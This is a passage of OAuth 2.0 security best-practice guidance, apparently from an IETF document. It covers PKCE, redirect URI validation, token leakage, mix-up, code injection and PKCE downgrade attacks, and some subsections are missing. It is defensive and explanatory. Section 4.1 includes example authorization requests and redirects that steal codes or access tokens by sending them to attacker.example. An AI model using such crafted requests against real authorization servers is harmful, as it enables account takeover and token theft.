2.1.1. Authorization Code Grant

Clients MUST prevent authorization code injection attacks (see Section 4.5) and misuse of authorization codes using one of the following options:¶

• Public clients MUST use PKCE [RFC7636] to this end, as motivated in Section 4.5.3.1.¶
• For confidential clients, the use of PKCE [RFC7636] is RECOMMENDED, as it provides strong protection against misuse and injection of authorization codes as described in Section 4.5.3.1. Also, as a side effect, it prevents CSRF even in the presence of strong attackers as described in Section 4.7.1.¶
• With additional precautions, described in Section 4.5.3.2, confidential OpenID Connect [OpenID.Core] clients MAY use the nonce parameter and the respective Claim in the ID Token instead.¶

In any case, the PKCE challenge or OpenID Connect nonce MUST be transaction-specific and securely bound to the client and the user agent in which the transaction was started. Authorization servers are encouraged to make a reasonable effort at detecting and preventing the use of constant values for the PKCE challenge or OpenID Connect nonce.¶

Note: Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications.¶

When using PKCE, clients SHOULD use PKCE code challenge methods that do not expose the PKCE verifier in the authorization request. Otherwise, attackers that can read the authorization request (cf. attacker (A4) in Section 3) can break the security provided by PKCE. Currently, S256 is the only such method.¶

Authorization servers MUST support PKCE [RFC7636].¶

If a client sends a valid PKCE code_challenge parameter in the authorization request, the authorization server MUST enforce the correct usage of code_verifier at the token endpoint.¶

Authorization servers MUST mitigate PKCE downgrade attacks by ensuring that a token request containing a code_verifier parameter is accepted only if a code_challenge parameter was present in the authorization request; see Section 4.8.2 for details.¶

Authorization servers MUST provide a way to detect their support for PKCE. It is RECOMMENDED for authorization servers to publish the element code_challenge_methods_supported in their Authorization Server Metadata [RFC8414] containing the supported PKCE challenge methods (which can be used by the client to detect PKCE support). Authorization servers MAY instead provide a deployment-specific way to ensure or determine PKCE support by the authorization server.¶

2.1.2. Implicit Grant

The implicit grant (response type token) and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay as described in Sections 4.1, 4.2, 4.3, and 4.6.¶

Moreover, no standardized method for sender-constraining exists to bind access tokens to a specific client (as recommended in Section 2.2) when the access tokens are issued in the authorization response. This means that an attacker can use the leaked or stolen access token at a resource endpoint.¶

In order to avoid these issues, clients SHOULD NOT use the implicit grant (response type token) or other response types issuing access tokens in the authorization response, unless access token injection in the authorization response is prevented and the aforementioned token leakage vectors are mitigated.¶

Clients SHOULD instead use the response type code (i.e., authorization code grant type) as specified in Section 2.1.1 or any other response type that causes the authorization server to issue access tokens in the token response, such as the code id_token response type. This allows the authorization server to detect replay attempts by attackers and generally reduces the attack surface since access tokens are not exposed in URLs. It also allows the authorization server to sender-constrain the issued tokens (see Section 2.2.¶

2.2.1. Access Tokens

A sender-constrained access token scopes the applicability of an access token to a certain sender. This sender is obliged to demonstrate knowledge of a certain secret as a prerequisite for the acceptance of that token at the recipient (e.g., a resource server).¶

Authorization and resource servers SHOULD use mechanisms for sender-constraining access tokens, such as mutual TLS for OAuth 2.0 [RFC8705] or OAuth 2.0 Demonstrating Proof of Possession (DPoP) [RFC9449] (see Section 4.10.1), to prevent misuse of stolen and leaked access tokens.¶

2.2.2. Refresh Tokens

Refresh tokens for public clients MUST be sender-constrained or use refresh token rotation as described in Section 4.14. [RFC6749] already mandates that refresh tokens for confidential clients can only be used by the client for which they were issued.¶

4.1.1. Redirect URI Validation Attacks on Authorization Code Grant

For a client using the grant type code, an attack may work as follows:¶

Assume the redirection URL pattern https://*.somesite.example/* is registered for the client with the client ID s6BhdRkqt3. The intention is to allow any subdomain of somesite.example to be a valid redirection URI for the client, for example, https://app1.somesite.example/redirect. However, a naive implementation on the authorization server might interpret the wildcard * as "any character" and not "any character valid for a domain name". The authorization server, therefore, might permit https://attacker.example/.somesite.example as a redirection URI, although attacker.example is a different domain potentially controlled by a malicious party.¶

The attack can then be conducted as follows:¶

To begin, the attacker needs to trick the user into opening a tampered URL in their browser that launches a page under the attacker's control, say, https://www.evil.example (see attacker A1 in Section 3).¶

This URL initiates the following authorization request with the client ID of a legitimate client to the authorization endpoint (line breaks for display only):¶

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
     &redirect_uri=https%3A%2F%2Fattacker.example%2F.somesite.example
     HTTP/1.1
Host: server.somesite.example

The authorization server validates the redirection URI and compares it to the registered redirection URL patterns for the client s6BhdRkqt3. The authorization request is processed and presented to the user.¶

If the user does not see the redirection URI or does not recognize the attack, the code is issued and immediately sent to the attacker's domain. If an automatic approval of the authorization is enabled (which is not recommended for public clients according to [RFC6749]), the attack can be performed even without user interaction.¶

If the attacker impersonates a public client, the attacker can exchange the code for tokens at the respective token endpoint.¶

This attack will not work as easily for confidential clients, since the code exchange requires authentication with the legitimate client's secret. However, the attacker can use the legitimate confidential client to redeem the code by performing an authorization code injection attack; see Section 4.5.¶

It is important to note that redirection URI validation vulnerabilities can also exist if the authorization server handles wildcards properly. For example, assume that the client registers the redirection URL pattern https://*.somesite.example/* and the authorization server interprets this as "allow redirection URIs pointing to any host residing in the domain somesite.example". If an attacker manages to establish a host or subdomain in somesite.example, the attacker can impersonate the legitimate client. For example, this could be caused by a subdomain takeover attack [research.udel], where an outdated CNAME record (say, external-service.somesite.example) points to an external DNS name that no longer exists (say, customer-abc.service.example) and can be taken over by an attacker (e.g., by registering as customer-abc with the external service).¶

4.1.2. Redirect URI Validation Attacks on Implicit Grant

The attack described above works for the implicit grant as well. If the attacker is able to send the authorization response to an attacker-controlled URI, the attacker will directly get access to the fragment carrying the access token.¶

Additionally, implicit grants (and also other grants when using response_mode=fragment as defined in [OAuth.Responses]) can be subject to a further kind of attack. The attack utilizes the fact that user agents reattach fragments to the destination URL of a redirect if the location header does not contain a fragment (see Section 17.11 of [RFC9110]). The attack described here combines this behavior with the client as an open redirector (see Section 4.11.1) in order to obtain access tokens. This allows circumvention even of very narrow redirection URI patterns, but not of strict URL matching.¶

Assume the registered URL pattern for client s6BhdRkqt3 is https://client.somesite.example/cb?*, i.e., any parameter is allowed for redirects to https://client.somesite.example/cb. Unfortunately, the client exposes an open redirector. This endpoint supports a parameter redirect_to which takes a target URL and will send the browser to this URL using an HTTP Location header redirect 303.¶

The attack can now be conducted as follows:¶

To begin, as above, the attacker needs to trick the user into opening a tampered URL in their browser that launches a page under the attacker's control, say, https://www.evil.example.¶

Afterwards, the website initiates an authorization request that is very similar to the one in the attack on the code flow. Different to above, it utilizes the open redirector by encoding redirect_to=https://attacker.example into the parameters of the redirection URI, and it uses the response type token (line breaks for display only):¶

GET /authorize?response_type=token&state=9ad67f13
    &client_id=s6BhdRkqt3
    &redirect_uri=https%3A%2F%2Fclient.somesite.example
     %2Fcb%26redirect_to%253Dhttps%253A%252F
     %252Fattacker.example%252F HTTP/1.1
Host: server.somesite.example

Then, since the redirection URI matches the registered pattern, the authorization server permits the request and sends the resulting access token in a 303 redirect (some response parameters omitted for readability):¶

HTTP/1.1 303 See Other
Location: https://client.somesite.example/cb?
          redirect_to%3Dhttps%3A%2F%2Fattacker.example%2Fcb
          #access_token=2YotnFZFEjr1zCsicMWpAA&...

At client.somesite.example, the request arrives at the open redirector. The endpoint will read the redirect parameter and will issue an HTTP 303 Location header redirect to the URL https://attacker.example/.¶

HTTP/1.1 303 See Other
Location: https://attacker.example/

Since the redirector at client.somesite.example does not include a fragment in the Location header, the user agent will reattach the original fragment #access_token=2YotnFZFEjr1zCsicMWpAA&... to the URL and will navigate to the following URL:¶

https://attacker.example/#access_token=2YotnFZFEjr1z...

The attacker's page at attacker.example can then access the fragment and obtain the access token.¶

4.1.3. Countermeasures

The complexity of implementing and managing pattern matching correctly obviously causes security issues. This document therefore advises simplifying the required logic and configuration by using exact redirection URI matching. This means the authorization server MUST ensure that the two URIs are equal; see Section 6.2.1 of [RFC3986], Simple String Comparison, for details. The only exception is native apps using a localhost URI: In this case, the authorization server MUST allow variable port numbers as described in Section 7.3 of [RFC8252].¶

Additional recommendations:¶

• Web servers on which redirection URIs are hosted MUST NOT expose open redirectors (see Section 4.11).¶
• Browsers reattach URL fragments to Location redirection URLs only if the URL in the Location header does not already contain a fragment. Therefore, servers MAY prevent browsers from reattaching fragments to redirection URLs by attaching an arbitrary fragment identifier, for example #_, to URLs in Location headers.¶
• Clients SHOULD use the authorization code response type instead of response types that cause access token issuance at the authorization endpoint. This offers countermeasures against the reuse of leaked credentials through the exchange process with the authorization server and against token replay through sender-constraining of the access tokens.¶

If the origin and integrity of the authorization request containing the redirection URI can be verified, for example, when using [RFC9101] or [RFC9126] with client authentication, the authorization server MAY trust the redirection URI without further checks.¶

4.2.1. Leakage from the OAuth Client

Leakage from the OAuth client requires that the client, as a result of a successful authorization request, renders a page that¶

• contains links to other pages under the attacker's control and a user clicks on such a link, or¶
• includes third-party content (advertisements in iframes, images, etc.), for example, if the page contains user-generated content (blog).¶

As soon as the browser navigates to the attacker's page or loads the third-party content, the attacker receives the authorization response URL and can extract code or state (and potentially access_token).¶

4.2.2. Leakage from the Authorization Server

In a similar way, an attacker can learn state from the authorization request if the authorization endpoint at the authorization server contains links or third-party content as above.¶

4.2.3. Consequences

An attacker that learns a valid code or access token through a Referer header can perform the attacks as described in Sections 4.1.1, 4.5 and 4.6. If the attacker learns state, the CSRF protection achieved by using state is lost, resulting in CSRF attacks as described in Section 4.4.1.8 of [RFC6819].¶

4.2.4. Countermeasures

The page rendered as a result of the OAuth authorization response and the authorization endpoint SHOULD NOT include third-party resources or links to external sites.¶

The following measures further reduce the chances of a successful attack:¶

• Suppress the Referer header by applying an appropriate Referrer Policy [W3C.webappsec-referrer-policy] to the document (either as part of the "referrer" meta attribute or by setting a Referrer-Policy header). For example, the header Referrer-Policy: no-referrer in the response completely suppresses the Referer header in all requests originating from the resulting document.¶
• Use authorization code instead of response types causing access token issuance from the authorization endpoint.¶
• Bind the authorization code to a confidential client or PKCE challenge. In this case, the attacker lacks the secret to request the code exchange.¶

• As described in Section 4.1.2 of [RFC6749], authorization codes MUST be invalidated by the authorization server after their first use at the token endpoint. For example, if an authorization server invalidated the code after the legitimate client redeemed it, the attacker would fail to exchange this code later.¶

  This does not mitigate the attack if the attacker manages to exchange the code for a token before the legitimate client does so. Therefore, [RFC6749] further recommends that, when an attempt is made to redeem a code twice, the authorization server SHOULD revoke all tokens issued previously based on that code.¶

• The state value SHOULD be invalidated by the client after its first use at the redirection endpoint. If this is implemented, and an attacker receives a token through the Referer header from the client's website, the state was already used, invalidated by the client and cannot be used again by the attacker. (This does not help if the state leaks from the authorization server's website, since then the state has not been used at the redirection endpoint at the client yet.)¶

• Use the form post response mode instead of a redirect for the authorization response (see [OAuth.Post]).¶

4.3.1. Authorization Code in Browser History

When a browser navigates to client.example/redirection_endpoint?code=abcd as a result of a redirect from a provider's authorization endpoint, the URL including the authorization code may end up in the browser's history. An attacker with access to the device could obtain the code and try to replay it.¶

Countermeasures:¶

• Authorization code replay prevention as described in Section 4.4.1.1 of [RFC6819], and Section 4.5.¶
• Use the form post response mode instead of redirect for the authorization response (see [OAuth.Post]).¶

4.3.2. Access Token in Browser History

An access token may end up in the browser history if a client or a website that already has a token deliberately navigates to a page like provider.com/get_user_profile?access_token=abcdef. [RFC6750] discourages this practice and advises transferring tokens via a header, but in practice websites often pass access tokens in query parameters.¶

In the case of implicit grant, a URL like client.example/redirection_endpoint#access_token=abcdef may also end up in the browser history as a result of a redirect from a provider's authorization endpoint.¶

Countermeasures:¶

• Clients MUST NOT pass access tokens in a URI query parameter in the way described in Section 2.3 of [RFC6750]. The authorization code grant or alternative OAuth response modes like the form post response mode [OAuth.Post] can be used to this end.¶

4.4.1. Attack Description

The description here follows [arXiv.1601.01229], with variants of the attack outlined below.¶

Preconditions: For this variant of the attack to work, it is assumed that¶

• the implicit or authorization code grant is used with multiple authorization servers of which one is considered "honest" (H-AS) and one is operated by the attacker (A-AS), and¶
• the client stores the authorization server chosen by the user in a session bound to the user's browser and uses the same redirection endpoint URI for each authorization server.¶

In the following, it is further assumed that the client is registered with H-AS (URI: https://honest.as.example, client ID: 7ZGZldHQ) and with A-AS (URI: https://attacker.example, client ID: 666RVZJTA). URLs shown in the following example are shortened for presentation to include only parameters relevant to the attack.¶

Attack on the authorization code grant:¶

1. The user selects to start the grant using A-AS (e.g., by clicking on a button on the client's website).¶
2. The client stores in the user's session that the user selected "A-AS" and redirects the user to A-AS's authorization endpoint with a Location header containing the URL https://attacker.example/authorize?response_type=code&client_id=666RVZJTA.¶
3. When the user's browser navigates to the attacker's authorization endpoint, the attacker immediately redirects the browser to the authorization endpoint of H-AS. In the authorization request, the attacker replaces the client ID of the client at A-AS with the client's ID at H-AS. Therefore, the browser receives a redirection (303 See Other) with a Location header pointing to https://honest.as.example/authorize?response_type=code&client_id=7ZGZldHQ¶

4. The user authorizes the client to access their resources at H-AS. (Note that a vigilant user might at this point detect that they intended to use A-AS instead of H-AS. The first attack variant listed does not have this limitation.) H-AS issues a code and sends it (via the browser) back to the client.¶

5. Since the client still assumes that the code was issued by A-AS, it will try to redeem the code at A-AS's token endpoint.¶

6. The attacker therefore obtains code and can either exchange the code for an access token (for public clients) or perform an authorization code injection attack as described in Section 4.5.¶

Variants:¶

• Mix-Up with Interception: This variant works only if the attacker can intercept and manipulate the first request/response pair from a user's browser to the client (in which the user selects a certain authorization server and is then redirected by the client to that authorization server), as in Attacker (A2) (see Section 3). This capability can, for example, be the result of a attacker-in-the-middle attack on the user's connection to the client. In the attack, the user starts the flow with H-AS. The attacker intercepts this request and changes the user's selection to A-AS. The rest of the attack proceeds as in Step 2 and following above.¶
• Implicit Grant: In the implicit grant, the attacker receives an access token instead of the code in Step 4. The attacker's authorization server receives the access token when the client makes either a request to the A-AS userinfo endpoint or a request to the attacker's resource server (since the client believes it has completed the flow with A-AS).¶
• Per-AS Redirect URIs: If clients use different redirection URIs for different authorization servers, clients do not store the selected authorization server in the user's session, and authorization servers do not check the redirection URIs properly, attackers can mount an attack called "Cross-Social Network Request Forgery". These attacks have been observed in practice. Refer to [research.jcs_14] for details.¶
• OpenID Connect: Some variants can be used to attack OpenID Connect. In these attacks, the attacker misuses features of the OpenID Connect Discovery [OpenID.Discovery] mechanism or replays access tokens or ID Tokens to conduct a mix-up attack. The attacks are described in detail in Appendix A of [arXiv.1704.08539] and Section 6 of [arXiv.1508.04324v2] ("Malicious Endpoints Attacks").¶

4.4.2. Countermeasures

When an OAuth client can only interact with one authorization server, a mix-up defense is not required. In scenarios where an OAuth client interacts with two or more authorization servers, however, clients MUST prevent mix-up attacks. Two different methods are discussed below.¶

For both defenses, clients MUST store, for each authorization request, the issuer they sent the authorization request to and bind this information to the user agent. The issuer serves, via the associated metadata, as an abstract identifier for the combination of the authorization endpoint and token endpoint that are to be used in the flow. If an issuer identifier is not available (for example, if neither OAuth Authorization Server Metadata [RFC8414] nor OpenID Connect Discovery [OpenID.Discovery] is used), a different unique identifier for this tuple or the tuple itself can be used instead. For brevity of presentation, such a deployment-specific identifier will be subsumed under the issuer (or issuer identifier) in the following.¶

It is important to note that just storing the authorization server URL is not sufficient to identify mix-up attacks. An attacker might declare an uncompromised authorization server's authorization endpoint URL as "their" authorization server URL, but declare a token endpoint under their own control.¶

4.5.1. Attack Description

The authorization code injection attack works as follows:¶

1. The attacker obtains an authorization code (see Attacker (A3) in Section 3). For the rest of the attack, only the capabilities of a web attacker (A1) are required.¶
2. From the attacker's device, the attacker starts a regular OAuth authorization process with the legitimate client.¶
3. In the response of the authorization server to the legitimate client, the attacker replaces the newly created authorization code with the stolen authorization code. Since this response is passing through the attacker's device, the attacker can use any tool that can intercept and manipulate the authorization response to this end. The attacker does not need to control the network.¶
4. The legitimate client sends the code to the authorization server's token endpoint, along with the redirect_uri and the client's client ID and client secret (or other means of client authentication).¶
5. The authorization server checks the client secret, whether the code was issued to the particular client, and whether the actual redirection URI matches the redirect_uri parameter (see [RFC6749]).¶
6. All checks succeed and the authorization server issues access and other tokens to the client. The attacker has now associated their session with the legitimate client with the victim's resources and/or identity.¶

4.5.2. Discussion

Obviously, the check-in step (Step 5) will fail if the code was issued to another client ID, e.g., a client set up by the attacker. The check will also fail if the authorization code was already redeemed by the legitimate user and was one-time use only.¶

An attempt to inject a code obtained via a manipulated redirection URI should also be detected if the authorization server stored the complete redirection URI used in the authorization request and compares it with the redirect_uri parameter.¶

Section 4.1.3 of [RFC6749] requires the authorization server to¶

ensure that the "redirect_uri" parameter is present if the "redirect_uri" parameter was included in the initial authorization request as described in Section 4.1.1, and if included ensure that their values are identical.¶

In the attack scenario described in Section 4.5.1, the legitimate client would use the correct redirection URI it always uses for authorization requests. But this URI would not match the tampered redirection URI used by the attacker (otherwise, the redirect would not land at the attacker's page). So, the authorization server would detect the attack and refuse to exchange the code.¶

This check could also detect attempts to inject an authorization code that had been obtained from another instance of the same client on another device if certain conditions are fulfilled:¶

• the redirection URI itself contains a nonce or another kind of one-time use, secret data and¶
• the client has bound this data to this particular instance of the client.¶

But, this approach conflicts with the idea of enforcing exact redirect URI matching at the authorization endpoint. Moreover, it has been observed that providers very often ignore the redirect_uri check requirement at this stage, maybe because it doesn't seem to be security-critical from reading the specification.¶

Other providers just pattern match the redirect_uri parameter against the registered redirection URI pattern. This saves the authorization server from storing the link between the actual redirect URI and the respective authorization code for every transaction. However, this kind of check obviously does not fulfill the intent of the specification, since the tampered redirection URI is not considered. So, any attempt to inject an authorization code obtained using the client_id of a legitimate client or by utilizing the legitimate client on another device will not be detected in the respective deployments.¶

It is also assumed that the requirements defined in Section 4.1.3 of [RFC6749] increase client implementation complexity as clients need to store or reconstruct the correct redirection URI for the call to the token endpoint.¶

Asymmetric methods for client authentication do not stop this attack, as the legitimate client authenticates at the token endpoint.¶

This document therefore recommends instead binding every authorization code to a certain client instance on a certain device (or in a certain user agent) in the context of a certain transaction using one of the mechanisms described next.¶

4.5.3. Countermeasures

There are two good technical solutions to binding authorization codes to client instances, as follows.¶

4.5.4. Limitations

An attacker can circumvent the countermeasures described above if they can modify the nonce or code_challenge values that are used in the victim's authorization request. The attacker can modify these values to be the same ones as those chosen by the client in their own session in Step 2 of the attack above. (This requires that the victim's session with the client begins after the attacker started their session with the client.) If the attacker is then able to capture the authorization code from the victim, the attacker will be able to inject the stolen code in Step 3 even if PKCE or nonce are used.¶

This attack is complex and requires a close interaction between the attacker and the victim's session. Nonetheless, measures to prevent attackers from reading the contents of the authorization response still need to be taken, as described in Sections 4.1, 4.2, 4.3, 4.4, and 4.11.¶

4.6.1. Countermeasures

There is no way to detect such an injection attack in pure-OAuth flows since the token is issued without any binding to the transaction or the particular user agent.¶

In OpenID Connect, the attack can be mitigated, as the authorization response additionally contains an ID Token containing the at_hash claim. The attacker therefore needs to replace both the access token as well as the ID Token in the response. The attacker cannot forge the ID Token, as it is signed or encrypted with authentication. The attacker also cannot inject a leaked ID Token matching the stolen access token, as the nonce claim in the leaked ID Token will contain (with a very high probability) a different value than the one expected in the authorization response.¶

Note that further protection, like sender-constrained access tokens, is still required to prevent attackers from using the access token at the resource endpoint directly.¶

The recommendations in Section 2.1.2 follow from this.¶

4.7.1. Countermeasures

The long-established countermeasure is that clients pass a random value, also known as a CSRF Token, in the state parameter that links the request to the redirection URI to the user agent session as described. This countermeasure is described in detail in Section 5.3.5 of [RFC6819]. The same protection is provided by PKCE or the OpenID Connect nonce value.¶

When using PKCE instead of state or nonce for CSRF protection, it is important to note that:¶

• Clients MUST ensure that the authorization server supports PKCE before using PKCE for CSRF protection. If an authorization server does not support PKCE, state or nonce MUST be used for CSRF protection.¶

• If state is used for carrying application state, and the integrity of its contents is a concern, clients MUST protect state against tampering and swapping. This can be achieved by binding the contents of state to the browser session and/or by signing/encrypting state values. One example of this is discussed in the expired Internet-Draft [JWT-ENCODED-STATE].¶

The authorization server therefore MUST provide a way to detect their support for PKCE. Using Authorization Server Metadata according to [RFC8414] is RECOMMENDED, but authorization servers MAY instead provide a deployment-specific way to ensure or determine PKCE support.¶

PKCE provides robust protection against CSRF attacks even in the presence of an attacker that can read the authorization response (see Attacker (A3) in Section 3). When state is used or an ID Token is returned in the authorization response (e.g., response_type=code+id_token), the attacker either learns the state value and can replay it into the forged authorization response, or can extract the nonce from the ID Token and use it in a new request to the authorization server to mint an ID Token with the same nonce. The new ID Token can then be used for the CSRF attack.¶

4.8.1. Attack Description

1. The user has started an OAuth session using some client at an authorization server. In the authorization request, the client has set the parameter code_challenge=hash(abc) as the PKCE code challenge (with the hash function and parameter encoding as defined in [RFC7636]). The client is now waiting to receive the authorization response from the user's browser.¶
2. To conduct the attack, the attacker uses their own device to start an authorization flow with the targeted client. The client now uses another PKCE code challenge, say, code_challenge=hash(xyz), in the authorization request. The attacker intercepts the request and removes the entire code_challenge parameter from the request. Since this step is performed on the attacker's device, the attacker has full access to the request contents, for example, using browser debug tools.¶
3. If the authorization server allows for flows without PKCE, it will create a code that is not bound to any PKCE code challenge.¶
4. The attacker now redirects the user's browser to an authorization response URL that contains the code for the attacker's session with the authorization server.¶
5. The user's browser sends the authorization code to the client, which will now try to redeem the code for an access token at the authorization server. The client will send code_verifier=abc as the PKCE code verifier in the token request.¶
6. Since the authorization server sees that this code is not bound to any PKCE code challenge, it will not check the presence or contents of the code_verifier parameter. It will issue an access token (which belongs to the attacker's resource) to the client under the user's control.¶

4.8.2. Countermeasures

Using state properly would prevent this attack. However, practice has shown that many OAuth clients do not use or check state properly.¶

Therefore, authorization servers MUST mitigate this attack.¶

Note that from the view of the authorization server, in the attack described above, a code_verifier parameter is received at the token endpoint although no code_challenge parameter was present in the authorization request for the OAuth flow in which the authorization code was issued.¶

This fact can be used to mitigate this attack. [RFC7636] already mandates that¶

• an authorization server that supports PKCE MUST check whether a code challenge is contained in the authorization request and bind this information to the code that is issued; and¶
• when a code arrives at the token endpoint, and there was a code_challenge in the authorization request for which this code was issued, there must be a valid code_verifier in the token request.¶

Beyond this, to prevent PKCE downgrade attacks, the authorization server MUST ensure that if there was no code_challenge in the authorization request, a request to the token endpoint containing a code_verifier is rejected.¶

Authorization servers that mandate the use of PKCE (in general or for particular clients) implicitly implement this security measure.¶

4.9.1. Access Token Phishing by Counterfeit Resource Server

An attacker may set up their own resource server and trick a client into sending access tokens to it that are valid for other resource servers (see Attackers (A1) and (A5) in Section 3). If the client sends a valid access token to this counterfeit resource server, the attacker in turn may use that token to access other services on behalf of the resource owner.¶

This attack assumes the client is not bound to one specific resource server (and its URL) at development time, but client instances are provided with the resource server URL at runtime. This kind of late binding is typical in situations where the client uses a service implementing a standardized API (e.g., for email, calendaring, healthcare, or banking) and where the client is configured by a user or administrator.¶

4.9.2. Compromised Resource Server

An attacker may compromise a resource server to gain access to the resources of the respective deployment. Such a compromise may range from partial access to the system, e.g., its log files, to full control over the respective server, in which case all controls can be circumvented and all resources can be accessed. The attacker would also be able to obtain other access tokens held on the compromised system that would potentially be valid to access other resource servers.¶

Preventing server breaches by hardening and monitoring server systems is considered a standard operational procedure and, therefore, out of the scope of this document. Section 4.9 focuses on the impact of OAuth-related breaches and the replaying of captured access tokens.¶

4.9.3. Countermeasures

The following measures should be taken into account by implementers in order to cope with access token replay by malicious actors:¶

• Sender-constrained access tokens, as described in Section 4.10.1, SHOULD be used to prevent the attacker from replaying the access tokens on other resource servers. If an attacker has only partial access to the compromised system, like a read-only access to web server logs, sender-constrained access tokens may also prevent replay on the compromised system.¶
• Audience restriction as described in Section 4.10.2 SHOULD be used to prevent replay of captured access tokens on other resource servers.¶
• The resource server MUST treat access tokens like other sensitive secrets and not store or transfer them in plaintext.¶

The first and second recommendations also apply to other scenarios where access tokens leak (see Attacker (A5) in Section 3).¶

4.10.1. Sender-Constrained Access Tokens

As the name suggests, sender-constrained access tokens scope the applicability of an access token to a certain sender. This sender is obliged to demonstrate knowledge of a certain secret as a prerequisite for the acceptance of that token at a resource server.¶

A typical flow looks like this:¶

1. The authorization server associates data with the access token that binds this particular token to a certain client. The binding can utilize the client's identity, but in most cases, the authorization server utilizes key material (or data derived from the key material) known to the client.¶
2. This key material must be distributed somehow. Either the key material already exists before the authorization server creates the binding or the authorization server creates ephemeral keys. The way preexisting key material is distributed varies among the different approaches. For example, X.509 certificates can be used, in which case the distribution happens explicitly during the enrollment process. Or, the key material is created and distributed at the TLS layer, in which case it might automatically happen during the setup of a TLS connection.¶
3. The resource server must implement the actual proof-of-possession check. This is typically done on the application level, often tied to specific material provided by the transport layer (e.g., TLS). The resource server must also ensure that a replay of the proof of possession is not possible.¶

Two methods for sender-constrained access tokens using proof of possession have been defined by the OAuth working group and are in use in practice:¶

• "OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens" [RFC8705]: The approach specified in this) document allows the use of mutual TLS (mTLS) for both client authentication and sender-constrained access tokens. For the purpose of sender-constrained access tokens, the client is identified towards the resource server by the fingerprint of its public key. During the processing of an access token request, the authorization server obtains the client's public key from the TLS stack and associates its fingerprint with the respective access tokens. The resource server in the same way obtains the public key from the TLS stack and compares its fingerprint with the fingerprint associated with the access token.¶
• "OAuth 2.0 Demonstrating Proof of Possession (DPoP)" [RFC9449]: DPoP outlines an application-level mechanism for sender-constraining access and refresh tokens. It uses proof-of-possession based on a public/private key pair and application-level signing. DPoP can be used with public clients and, in the case of confidential clients, can be combined with any client authentication method.¶

Note that the security of sender-constrained tokens is undermined when an attacker gets access to the token and the key material. This is, in particular, the case for corrupted client software and cross-site scripting attacks (when the client is running in the browser). If the key material is protected in a hardware or software security module or only indirectly accessible (like in a TLS stack), sender-constrained tokens at least protect against the use of the token when the client is offline, i.e., when the security module or interface is not available to the attacker. This applies to access tokens as well as to refresh tokens (see Section 4.14).¶

4.10.2. Audience-Restricted Access Tokens

Audience restriction essentially restricts access tokens to a particular resource server. The authorization server associates the access token with the particular resource server, and the resource server is then supposed to verify the intended audience. If the access token fails the intended audience validation, the resource server refuses to serve the respective request.¶

In general, audience restriction limits the impact of token leakage. In the case of a counterfeit resource server, it may (as described below) also prevent abuse of the phished access token at the legitimate resource server.¶

The audience can be expressed using logical names or physical addresses (like URLs). To prevent phishing, it is necessary to use the actual URL the client will send requests to. In the phishing case, this URL will point to the counterfeit resource server. If the attacker tries to use the access token at the legitimate resource server (which has a different URL), the resource server will detect the mismatch (wrong audience) and refuse to serve the request.¶

In deployments where the authorization server knows the URLs of all resource servers, the authorization server may just refuse to issue access tokens for unknown resource server URLs.¶

For this to work, the client needs to tell the authorization server the intended resource server. The mechanism in [RFC8707] can be used for this or the information can be encoded in the scope value (Section 3.3 of [RFC6749]).¶

Instead of the URL, it is also possible to utilize the fingerprint of the resource server's X.509 certificate as the audience value. This variant would also allow detection of an attempt to spoof the legitimate resource server's URL by using a valid TLS certificate obtained from a different CA. It might also be considered a privacy benefit to hide the resource server URL from the authorization server.¶

Audience restriction may seem easier to use since it does not require any cryptography on the client side. Still, since every access token is bound to a specific resource server, the client also needs to obtain a single resource server-specific access token when accessing several resource servers. (Resource indicators, as specified in [RFC8707], can help to achieve this.) [TOKEN-BINDING] had the same property since different token-binding IDs must be associated with the access token. Using Mutual TLS for OAuth 2.0 [RFC8705], on the other hand, allows a client to use the access token at multiple resource servers.¶

It should be noted that audience restrictions -- or, generally speaking, an indication by the client to the authorization server where it wants to use the access token -- have additional benefits beyond the scope of token leakage prevention. They allow the authorization server to create a different access token whose format and content are specifically minted for the respective server. This has huge functional and privacy advantages in deployments using structured access tokens.¶

4.10.3. Discussion: Preventing Leakage via Metadata

An authorization server could provide the client with additional information about the locations where it is safe to use its access tokens. This approach, and why it is not recommended, is discussed in the following.¶

In the simplest form, this would require the authorization server to publish a list of its known resource servers, illustrated in the following example using a non-standard Authorization Server Metadata parameter resource_servers:¶

HTTP/1.1 200 OK
Content-Type: application/json

{
  "issuer":"https://server.somesite.example",
  "authorization_endpoint":
    "https://server.somesite.example/authorize",
  "resource_servers":[
    "email.somesite.example",
    "storage.somesite.example",
    "video.somesite.example"
  ]
  ...
}

The authorization server could also return the URL(s) an access token is good for in the token response, illustrated by the example and non-standard return parameter access_token_resource_server:¶

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
  "access_token":"2YotnFZFEjr1zCsicMWpAA",
  "access_token_resource_server":
    "https://hostedresource.somesite.example/path1",
...
}

This mitigation strategy would rely on the client to enforce the security policy and to only send access tokens to legitimate destinations. Results of OAuth-related security research (see, for example, [research.ubc] and [research.cmu]) indicate a large portion of client implementations do not or fail to properly implement security controls, like state checks. So, relying on clients to prevent access token phishing is likely to fail as well. Moreover, given the ratio of clients to authorization and resource servers, it is considered the more viable approach to move as much as possible security-related logic to those servers. Clearly, the client has to contribute to the overall security. However, there are alternative countermeasures, as described in Sections 4.10.1 and 4.10.2, that provide a better balance between the involved parties.¶

4.11.1. Client as Open Redirector

Clients MUST NOT expose open redirectors. Attackers may use open redirectors to produce URLs pointing to the client and utilize them to exfiltrate authorization codes and access tokens, as described in Section 4.1.2. Another abuse case is to produce URLs that appear to point to the client. This might trick users into trusting the URL and following it in their browser. This can be abused for phishing.¶

In order to prevent open redirection, clients should only redirect if the target URLs are allowed or if the origin and integrity of a request can be authenticated. Countermeasures against open redirection are described by OWASP [owasp.redir].¶

4.11.2. Authorization Server as Open Redirector

Just as with clients, attackers could try to utilize a user's trust in the authorization server (and its URL in particular) for performing phishing attacks. OAuth authorization servers regularly redirect users to other websites (the clients), but they must do so safely.¶

Section 4.1.2.1 of [RFC6749] already prevents open redirects by stating that the authorization server MUST NOT automatically redirect the user agent in case of an invalid combination of client_id and redirect_uri.¶

However, an attacker could also utilize a correctly registered redirection URI to perform phishing attacks. The attacker could, for example, register a client via dynamic client registration [RFC7591] and execute one of the following attacks:¶

1. Intentionally send an erroneous authorization request, e.g., by using an invalid scope value, thus instructing the authorization server to redirect the user agent to its phishing site.¶
